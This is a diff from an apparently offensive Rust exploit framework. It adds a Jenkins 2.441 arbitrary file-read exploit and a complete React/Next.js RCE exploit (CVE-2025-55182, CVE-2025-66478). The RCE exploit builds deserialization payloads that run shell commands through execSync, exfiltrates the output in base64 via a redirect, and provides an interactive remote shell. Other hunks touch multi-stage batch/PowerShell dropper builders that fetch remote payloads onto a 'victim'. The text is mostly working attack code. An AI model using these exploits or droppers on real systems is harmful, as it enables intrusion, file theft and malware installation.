payload.extend_from_slice(&text_message);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn get_payload(filepath: &str) -> Vec<u8> {
|
||||
let arg_operation = 0u8;
|
||||
let start_operation = 3u8;
|
||||
|
||||
let command = get_payload_message(arg_operation, "connect-node");
|
||||
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&command);
|
||||
payload.extend_from_slice(&poisoned_argument);
|
||||
payload.push(start_operation);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn make_path_absolute(filepath: &str) -> String {
|
||||
if filepath.starts_with('/') {
|
||||
filepath.to_string()
|
||||
} else {
|
||||
format!("/proc/self/cwd/{}", filepath)
|
||||
}
|
||||
}
|
||||
|
||||
fn format_target_url(url: &str) -> String {
|
||||
let url = url.trim_end_matches('/');
|
||||
format!("{}/cli", url)
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
match io::stdin().read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = make_path_absolute(filepath);
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(args: &str) -> Result<()> {
|
||||
let parts: Vec<&str> = args.split_whitespace().collect();
|
||||
|
||||
if parts.is_empty() {
|
||||
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
|
||||
}
|
||||
|
||||
let url = format_target_url(parts[0]);
|
||||
let filepath = parts.get(1).map(|s| s.to_string());
|
||||
let identifier = Uuid::new_v4().to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", url).cyan().bold());
|
||||
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
|
||||
|
||||
let state = ExploitState::new(url, identifier);
|
||||
|
||||
if let Some(path) = filepath {
|
||||
let absolute_path = make_path_absolute(&path);
|
||||
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "[-] Payload request timed out.".red());
|
||||
} else {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
match start_interactive_file_read(state).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if !e.to_string().contains("Interrupted") {
|
||||
eprintln!("Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("\n{}", "Quitting".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod jenkins_2_441_lfi;
|
||||
@@ -17,4 +17,5 @@ pub mod palo_alto;
|
||||
pub mod roundcube;
|
||||
pub mod flowise;
|
||||
pub mod http2;
|
||||
|
||||
pub mod jenkins;
|
||||
pub mod react;
|
||||
|
||||
@@ -130,7 +130,8 @@ exit
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed());
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
|
||||
@@ -300,8 +300,11 @@ fn prompt(msg: &str, default: Option<&str>) -> String {
|
||||
}
|
||||
|
||||
/// // == RouterSploit-style async entry point ==
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_welcome_naruto();
|
||||
// Display target context if provided
|
||||
let target_display = if target.is_empty() { "local" } else { target };
|
||||
println!("{}", format!("[*] Target context: {}", target_display).dimmed());
|
||||
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
|
||||
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
|
||||
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod react2shell;
|
||||
|
||||
@@ -0,0 +1,965 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
use regex::Regex;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use rand::prelude::*;
|
||||
use rand::rng;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
const BOUNDARY: &str = "------WebKitFormBoundaryx8jO2oVc6SWP3Sad"; // 6 dashes for body
|
||||
const BOUNDARY_HEADER: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"; // 4 dashes for Content-Type header
|
||||
|
||||
const BANNER: &str = r#"
|
||||
╔══════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███████╗ █████╗ ██████╗████████╗
|
||||
║ ██╔══██╗██║ ██║████╗ ██║ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝
|
||||
║ ██████╔╝██║ █╗ ██║██╔██╗ ██║ ██ ██████╔╝█████╗ ███████║██║ ██║
|
||||
║ ██╔═══╝ ██║███╗██║██║╚██╗██║ ██╔══██╗██╔══╝ ██╔══██║██║ ██║
|
||||
║ ██║ ╚███╔███╔╝██║ ╚████║ ██║ ██║███████╗██║ ██║╚██████╗ ██║
|
||||
║ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
|
||||
║ ║
|
||||
║ ██████╗██╗ ██╗███████╗██╗ ██╗ ║
|
||||
║ ██╔════╝██║ ██║██╔════╝██║ ██║ ║
|
||||
║ ███████╗███████║█████╗ ██║ ██║ ║
|
||||
║ ╚════██║██╔══██║██╔══╝ ██║ ██║ ║
|
||||
║ ███████║██║ ██║███████╗███████╗███████╗ ║
|
||||
║ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ║
|
||||
║ ║
|
||||
╚══════════CVE-2025-55182 CVE-2025-66478 <-> React-next.js RCE════════╝
|
||||
"#;
|
||||
|
||||
/// React Server Components RCE (CVE-2025-55182, CVE-2025-66478)
|
||||
///
|
||||
/// Detects and exploits unauthenticated Remote Code Execution vulnerabilities in React Server Components
|
||||
/// and Next.js through insecure deserialization in the RSC Flight protocol.
|
||||
///
|
||||
/// References:
|
||||
/// - https://nextjs.org/blog/CVE-2025-66478
|
||||
/// - https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
|
||||
/// - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/
|
||||
/// - https://www.cve.org/CVERecord?id=CVE-2025-55182
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExploitConfig {
|
||||
pub target: String,
|
||||
pub proxy: Option<String>,
|
||||
pub verify_ssl: bool,
|
||||
pub verbose: bool,
|
||||
pub timeout: u64,
|
||||
pub custom_headers: Vec<(String, String)>,
|
||||
pub random_agent: bool,
|
||||
pub use_color: bool,
|
||||
}
|
||||
|
||||
impl Default for ExploitConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target: String::new(),
|
||||
proxy: None,
|
||||
verify_ssl: true,
|
||||
verbose: false,
|
||||
timeout: DEFAULT_TIMEOUT_SECS,
|
||||
custom_headers: Vec::new(),
|
||||
random_agent: false,
|
||||
use_color: true,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExploitResult {
|
||||
pub url: String,
|
||||
pub status: Option<u16>,
|
||||
pub matches: Vec<Match>,
|
||||
pub response_headers: Vec<(String, String)>,
|
||||
pub response_body: String,
|
||||
pub request_headers: Vec<(String, String)>,
|
||||
pub custom_command: Option<String>,
|
||||
pub error: Option<String>,
|
||||
pub combined_output: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Match {
|
||||
pub location: String,
|
||||
pub full_line: String,
|
||||
pub matched_text: String,
|
||||
pub encoded_output: String,
|
||||
pub decoded_output: String,
|
||||
pub context: String,
|
||||
}
|
||||
|
||||
const USER_AGENTS: &[&str] = &[
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
|
||||
];
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", BANNER.red().bold());
|
||||
}
|
||||
|
||||
/// Create payload with base64 encoded output and @ separator
|
||||
fn create_payload_base64(command: &str) -> String {
|
||||
// Escape special characters for JavaScript string
|
||||
let escaped_command = command
|
||||
.replace('\\', "\\\\")
|
||||
.replace('`', "\\`")
|
||||
.replace('$', "\\$")
|
||||
.replace('"', "\\\"");
|
||||
|
||||
format!(
|
||||
r#"{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{{\"then\":\"$B1337\"}}","_response":{{"_prefix":"var res=process.mainModule.require('child_process').execSync('{} | base64 | tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});","_chunks":"$Q2","_formData":{{"get":"$1:constructor:constructor"}}}}}}"#,
|
||||
escaped_command
|
||||
)
|
||||
}
|
||||
|
||||
/// Decode base64 output and replace @ with newlines
|
||||
fn decode_base64_output(encoded_output: &str) -> Result<String> {
|
||||
// Simple URL decode (handle %XX patterns)
|
||||
let mut decoded = String::new();
|
||||
let mut chars = encoded_output.chars().peekable();
|
||||
while let Some(ch) = chars.next() {
|
||||
if ch == '%' {
|
||||
// Try to decode %XX pattern
|
||||
let hex1 = chars.next().and_then(|c| c.to_digit(16));
|
||||
let hex2 = chars.next().and_then(|c| c.to_digit(16));
|
||||
if let (Some(h1), Some(h2)) = (hex1, hex2) {
|
||||
let byte = (h1 * 16 + h2) as u8;
|
||||
decoded.push(byte as char);
|
||||
} else {
|
||||
decoded.push(ch);
|
||||
}
|
||||
} else {
|
||||
decoded.push(ch);
|
||||
}
|
||||
}
|
||||
|
||||
// Replace @ with newlines (this is how we encoded it)
|
||||
let base64_string = decoded.replace('@', "\n");
|
||||
|
||||
// Decode base64
|
||||
let decoded_bytes = BASE64_STANDARD
|
||||
.decode(&base64_string)
|
||||
.context("Failed to decode base64")?;
|
||||
|
||||
// Try to decode as UTF-8, fallback to lossy conversion
|
||||
Ok(String::from_utf8_lossy(&decoded_bytes).to_string())
|
||||
}
|
||||
|
||||
fn get_random_user_agent() -> &'static str {
|
||||
let mut r = rng();
|
||||
USER_AGENTS.choose(&mut r).unwrap_or(&USER_AGENTS[0])
|
||||
}
|
||||
|
||||
fn highlight_text(text: &str, start: usize, end: usize, use_color: bool) -> String {
|
||||
let before_start = if start > 30 { start - 30 } else { 0 };
|
||||
let after_end = std::cmp::min(end + 50, text.len());
|
||||
|
||||
let before = &text[before_start..start];
|
||||
let matched = &text[start..end];
|
||||
let after = &text[end..after_end];
|
||||
|
||||
if use_color {
|
||||
format!("...{}{}{}", before, matched.red().bold(), after)
|
||||
} else {
|
||||
format!("...{}[{}]{}", before, matched, after)
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute a command on the target (legacy wrapper)
|
||||
async fn execute_command(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
command: &str,
|
||||
config: &ExploitConfig,
|
||||
) -> Result<ExploitResult> {
|
||||
execute_command_with_payload(client, url, "custom_cmd", Some(command), None, config).await
|
||||
}
|
||||
|
||||
/// Check if target is vulnerable (detection only)
|
||||
async fn check_vulnerability(client: &Client, url: &str, config: &ExploitConfig) -> Result<bool> {
|
||||
// Try with whoami command first
|
||||
let result = execute_command(client, url, "whoami", config).await?;
|
||||
|
||||
if !result.matches.is_empty() {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Try with id command as alternative
|
||||
let result = execute_command(client, url, "id", config).await?;
|
||||
|
||||
Ok(!result.matches.is_empty())
|
||||
}
|
||||
|
||||
fn print_results(result: &ExploitResult, config: &ExploitConfig) {
|
||||
if let Some(error) = &result.error {
|
||||
if config.use_color {
|
||||
println!("{}", format!("\n❌ Error checking {}: {}", result.url, error).red());
|
||||
} else {
|
||||
println!("\n❌ Error checking {}: {}", result.url, error);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
println!("\n{}", "=".repeat(80));
|
||||
|
||||
if config.use_color {
|
||||
println!("{}", format!("TARGET: {}", result.url).cyan().bold());
|
||||
if let Some(status) = result.status {
|
||||
println!("{}", format!("STATUS CODE: {}", status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("TARGET: {}", result.url);
|
||||
if let Some(status) = result.status {
|
||||
println!("STATUS CODE: {}", status);
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "=".repeat(80));
|
||||
|
||||
if config.verbose {
|
||||
println!("\n{}", "REQUEST DETAILS".bold());
|
||||
println!("{}", "-".repeat(40));
|
||||
for (key, value) in &result.request_headers {
|
||||
if value.len() > 100 {
|
||||
println!(" {}: {}...", key, &value[..100]);
|
||||
} else {
|
||||
println!(" {}: {}", key, value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !result.matches.is_empty() {
|
||||
let alternative_used = result.matches.iter()
|
||||
.any(|m| m.location.contains("Alternative Payload"));
|
||||
|
||||
if config.use_color {
|
||||
if alternative_used {
|
||||
println!("{}", "\n⚠️ ALTERNATIVE PAYLOAD SUCCESSFUL (id command executed)".yellow().bold());
|
||||
} else {
|
||||
println!("{}", "\n🩸 EXPLOITATION SUCCESSFUL".green().bold());
|
||||
}
|
||||
} else {
|
||||
if alternative_used {
|
||||
println!("\n⚠️ ALTERNATIVE PAYLOAD SUCCESSFUL (id command executed)");
|
||||
} else {
|
||||
println!("\n🩸 EXPLOITATION SUCCESSFUL");
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "=".repeat(80));
|
||||
println!("\n{}", "FOUND MATCHES:".bold());
|
||||
println!("{}", "-".repeat(80));
|
||||
|
||||
for (i, m) in result.matches.iter().enumerate() {
|
||||
println!("\n[{}] LOCATION: {}", i + 1, m.location);
|
||||
println!(" MATCHED TEXT: {}", m.matched_text);
|
||||
if config.verbose {
|
||||
println!(" FULL LINE: {}", m.full_line);
|
||||
}
|
||||
println!(" ENCODED: {}...",
|
||||
if m.encoded_output.len() > 50 { &m.encoded_output[..50] } else { &m.encoded_output });
|
||||
println!(" CONTEXT: {}...",
|
||||
if m.context.len() > 80 { &m.context[..80] } else { &m.context });
|
||||
}
|
||||
|
||||
println!("\n{}", "=".repeat(80));
|
||||
|
||||
if config.use_color {
|
||||
if alternative_used {
|
||||
println!("{}", "COMMAND OUTPUT DECODED (id command):".magenta().bold());
|
||||
} else if let Some(cmd) = &result.custom_command {
|
||||
println!("{}", format!("COMMAND OUTPUT DECODED (from: {}): ", cmd).magenta().bold());
|
||||
} else {
|
||||
println!("{}", "DECODED COMMAND OUTPUTS:".magenta().bold());
|
||||
}
|
||||
} else {
|
||||
println!("DECODED COMMAND OUTPUTS:");
|
||||
}
|
||||
|
||||
println!("{}", "-".repeat(80));
|
||||
|
||||
for (i, m) in result.matches.iter().enumerate() {
|
||||
if config.use_color {
|
||||
println!("\n{}", format!("[OUTPUT {}]", i + 1).yellow());
|
||||
println!("{}", "-".repeat(60).cyan());
|
||||
println!("{}", "Base64 Encoded (from server):".blue());
|
||||
} else {
|
||||
println!("\n[OUTPUT {}]", i + 1);
|
||||
println!("{}", "-".repeat(60));
|
||||
println!("Base64 Encoded (from server):");
|
||||
}
|
||||
|
||||
if m.encoded_output.len() > 100 {
|
||||
println!("{}...", &m.encoded_output[..100]);
|
||||
} else {
|
||||
println!("{}", m.encoded_output);
|
||||
}
|
||||
|
||||
if config.use_color {
|
||||
println!("\n{}", "Decoded Output:".green());
|
||||
} else {
|
||||
println!("\nDecoded Output:");
|
||||
}
|
||||
println!("{}", m.decoded_output);
|
||||
|
||||
if config.use_color {
|
||||
println!("{}", "-".repeat(60).cyan());
|
||||
} else {
|
||||
println!("{}", "-".repeat(60));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if config.use_color {
|
||||
println!("{}", "\n❌ No 'login?a=' pattern found in response".red());
|
||||
} else {
|
||||
println!("\n❌ No 'login?a=' pattern found in response");
|
||||
}
|
||||
}
|
||||
|
||||
if config.verbose {
|
||||
println!("\n{}", "RESPONSE DETAILS".bold());
|
||||
println!("{}", "=".repeat(80));
|
||||
|
||||
if !result.combined_output.is_empty() {
|
||||
println!("\n{}", "COMBINED COMMAND OUTPUT:".bold());
|
||||
println!("{}", "-".repeat(40));
|
||||
println!("{}", result.combined_output);
|
||||
}
|
||||
|
||||
println!("\nRESPONSE HEADERS:");
|
||||
println!("{}", "-".repeat(40));
|
||||
for (key, value) in &result.response_headers {
|
||||
println!(" {}: {}", key, value);
|
||||
}
|
||||
|
||||
println!("\nRESPONSE BODY ({} characters):", result.response_body.len());
|
||||
println!("{}", "-".repeat(40));
|
||||
if result.response_body.len() > 1500 {
|
||||
println!("{}", &result.response_body[..1500]);
|
||||
println!("\n... [Body truncated] ...");
|
||||
} else {
|
||||
println!("{}", result.response_body);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Interactive shell mode
|
||||
async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ INTERACTIVE SHELL MODE ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!("{}", "[*] Testing connection...".yellow());
|
||||
|
||||
// Test with whoami
|
||||
let whoami_result = execute_command(client, url, "whoami", config).await?;
|
||||
if whoami_result.matches.is_empty() {
|
||||
return Err(anyhow!("Connection test failed. Target may not be vulnerable or may have been patched."));
|
||||
}
|
||||
|
||||
let username = whoami_result.matches[0].decoded_output.trim();
|
||||
|
||||
// Get current directory
|
||||
let pwd_result = execute_command(client, url, "pwd", config).await?;
|
||||
let mut current_dir = if !pwd_result.matches.is_empty() {
|
||||
pwd_result.matches[0].decoded_output.trim().to_string()
|
||||
} else {
|
||||
"/".to_string()
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Connected! User: {}, Directory: {}", username, current_dir).green().bold());
|
||||
println!("{}", "[*] Type 'help' for available commands, 'exit' to quit".cyan());
|
||||
println!();
|
||||
|
||||
let parsed_url = reqwest::Url::parse(url)?;
|
||||
let hostname = parsed_url.host_str().unwrap_or("target");
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line = String::new();
|
||||
|
||||
loop {
|
||||
print!("{}", format!("[{}@{}:{}]$ ", username, hostname, current_dir).green().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
line.clear();
|
||||
if reader.read_line(&mut line).await.is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = line.trim();
|
||||
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match cmd {
|
||||
"exit" | "quit" => {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
"help" => {
|
||||
println!("\nAvailable commands:");
|
||||
println!(" help Show this help");
|
||||
println!(" exit, quit Exit the shell");
|
||||
println!(" clear Clear the screen");
|
||||
println!(" whoami Show current user");
|
||||
println!(" pwd Show current directory");
|
||||
println!(" cd <dir> Change directory");
|
||||
println!(" history Show command history");
|
||||
println!(" <command> Execute system command\n");
|
||||
}
|
||||
"clear" => {
|
||||
print!("\x1B[2J\x1B[1;1H");
|
||||
io::stdout().flush()?;
|
||||
}
|
||||
"whoami" => {
|
||||
println!("{}", username);
|
||||
}
|
||||
"pwd" => {
|
||||
println!("{}", current_dir);
|
||||
}
|
||||
cmd if cmd.starts_with("cd ") => {
|
||||
let target_dir = cmd[3..].trim();
|
||||
let cd_cmd = if target_dir.is_empty() {
|
||||
"cd ~ && pwd".to_string()
|
||||
} else {
|
||||
format!("cd {} && pwd", target_dir)
|
||||
};
|
||||
|
||||
match execute_command(client, url, &cd_cmd, config).await {
|
||||
Ok(result) if !result.matches.is_empty() => {
|
||||
let new_dir = result.matches[0].decoded_output.trim();
|
||||
if !new_dir.contains("No such file") && !new_dir.contains("not a directory") {
|
||||
current_dir = new_dir.to_string();
|
||||
println!("{}", format!("Changed directory to: {}", current_dir).green());
|
||||
} else {
|
||||
println!("{}", format!("cd: {}: No such file or directory", target_dir).red());
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", format!("cd: {}: Failed to change directory", target_dir).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
match execute_command(client, url, cmd, config).await {
|
||||
Ok(result) => {
|
||||
if !result.combined_output.is_empty() {
|
||||
print!("{}", result.combined_output);
|
||||
} else if result.matches.is_empty() {
|
||||
println!("{}", "[!] Command executed but no output received".yellow());
|
||||
} else {
|
||||
for m in &result.matches {
|
||||
print!("{}", m.decoded_output);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper functions
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", format!("{}: ", message).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", message, default_char).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if trimmed == "y" || trimmed == "yes" {
|
||||
return Ok(true);
|
||||
} else if trimmed == "n" || trimmed == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Create custom payload from user-provided JavaScript code
|
||||
fn create_custom_payload(js_code: &str) -> String {
|
||||
// Escape special characters for JavaScript string
|
||||
let escaped_code = js_code
|
||||
.replace('\\', "\\\\")
|
||||
.replace('`', "\\`")
|
||||
.replace('$', "\\$")
|
||||
.replace('"', "\\\"")
|
||||
.replace('\n', "\\n")
|
||||
.replace('\r', "\\r");
|
||||
|
||||
format!(
|
||||
r#"{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{{\"then\":\"$B1337\"}}","_response":{{"_prefix":"{};throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});","_chunks":"$Q2","_formData":{{"get":"$1:constructor:constructor"}}}}}}"#,
|
||||
escaped_code
|
||||
)
|
||||
}
|
||||
|
||||
/// Execute command with custom payload option
|
||||
async fn execute_command_with_payload(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
payload_type: &str,
|
||||
custom_command: Option<&str>,
|
||||
custom_js: Option<&str>,
|
||||
config: &ExploitConfig,
|
||||
) -> Result<ExploitResult> {
|
||||
let payload_json = match payload_type {
|
||||
"custom_js" => {
|
||||
if let Some(js) = custom_js {
|
||||
create_custom_payload(js)
|
||||
} else {
|
||||
return Err(anyhow!("Custom JavaScript code required for custom_js payload type"));
|
||||
}
|
||||
}
|
||||
"custom_cmd" => {
|
||||
if let Some(cmd) = custom_command {
|
||||
create_payload_base64(cmd)
|
||||
} else {
|
||||
return Err(anyhow!("Command required for custom_cmd payload type"));
|
||||
}
|
||||
}
|
||||
"whoami" => create_payload_base64("whoami"),
|
||||
"id" => create_payload_base64("id"),
|
||||
"pwd" => create_payload_base64("pwd"),
|
||||
"uname" => create_payload_base64("uname -a"),
|
||||
"ls" => create_payload_base64("ls -la"),
|
||||
"ps" => create_payload_base64("ps aux"),
|
||||
_ => create_payload_base64(payload_type),
|
||||
};
|
||||
|
||||
let parsed_url = reqwest::Url::parse(url)?;
|
||||
let host = parsed_url.host_str()
|
||||
.map(|h| {
|
||||
if let Some(port) = parsed_url.port() {
|
||||
format!("{}:{}", h, port)
|
||||
} else {
|
||||
h.to_string()
|
||||
}
|
||||
})
|
||||
.unwrap_or_else(|| "localhost".to_string());
|
||||
|
||||
let body = format!(
|
||||
"{}\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{}\r\n{}\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n{}\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n{}--",
|
||||
BOUNDARY, payload_json, BOUNDARY, BOUNDARY, BOUNDARY
|
||||
);
|
||||
|
||||
let user_agent = if config.random_agent {
|
||||
get_random_user_agent()
|
||||
} else {
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
|
||||
};
|
||||
|
||||
let mut request = client.post(url)
|
||||
.header("Host", &host)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary={}", BOUNDARY_HEADER))
|
||||
.header("Next-Action", "x")
|
||||
.header("Sec-Ch-Ua-Platform", "macOS")
|
||||
.header("User-Agent", user_agent)
|
||||
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
|
||||
.header("X-Nextjs-Request-Id", "b5dce965")
|
||||
.header("Upgrade-Insecure-Requests", "1")
|
||||
.header("Accept-Language", "en-US,en;q=0.9")
|
||||
.header("Sec-Ch-Ua-Mobile", "?0");
|
||||
|
||||
// Add custom headers
|
||||
for (key, value) in &config.custom_headers {
|
||||
request = request.header(key, value);
|
||||
}
|
||||
|
||||
let mut request_headers = vec![
|
||||
("Host".to_string(), host.clone()),
|
||||
("Content-Type".to_string(), format!("multipart/form-data; boundary={}", BOUNDARY_HEADER)),
|
||||
("User-Agent".to_string(), user_agent.to_string()),
|
||||
];
|
||||
request_headers.extend(config.custom_headers.clone());
|
||||
|
||||
let response = request
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send exploit request")?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
|
||||
// Get headers before consuming response
|
||||
let mut header_values = Vec::new();
|
||||
let mut response_headers = Vec::new();
|
||||
for (name, value) in response.headers() {
|
||||
if let Ok(header_str) = value.to_str() {
|
||||
header_values.push(header_str.to_string());
|
||||
response_headers.push((name.to_string(), header_str.to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
let response_text = response.text().await.context("Failed to read response")?;
|
||||
|
||||
// Pattern to find login?a= with base64 output (more permissive like Python version)
|
||||
// Matches any character that's not whitespace, quote, semicolon, or angle brackets
|
||||
let pattern = Regex::new("login\\?a=([^\\s\"';<>]+)")?;
|
||||
|
||||
let mut matches = Vec::new();
|
||||
|
||||
// Check response body
|
||||
for (line_num, line) in response_text.lines().enumerate() {
|
||||
for cap in pattern.captures_iter(line) {
|
||||
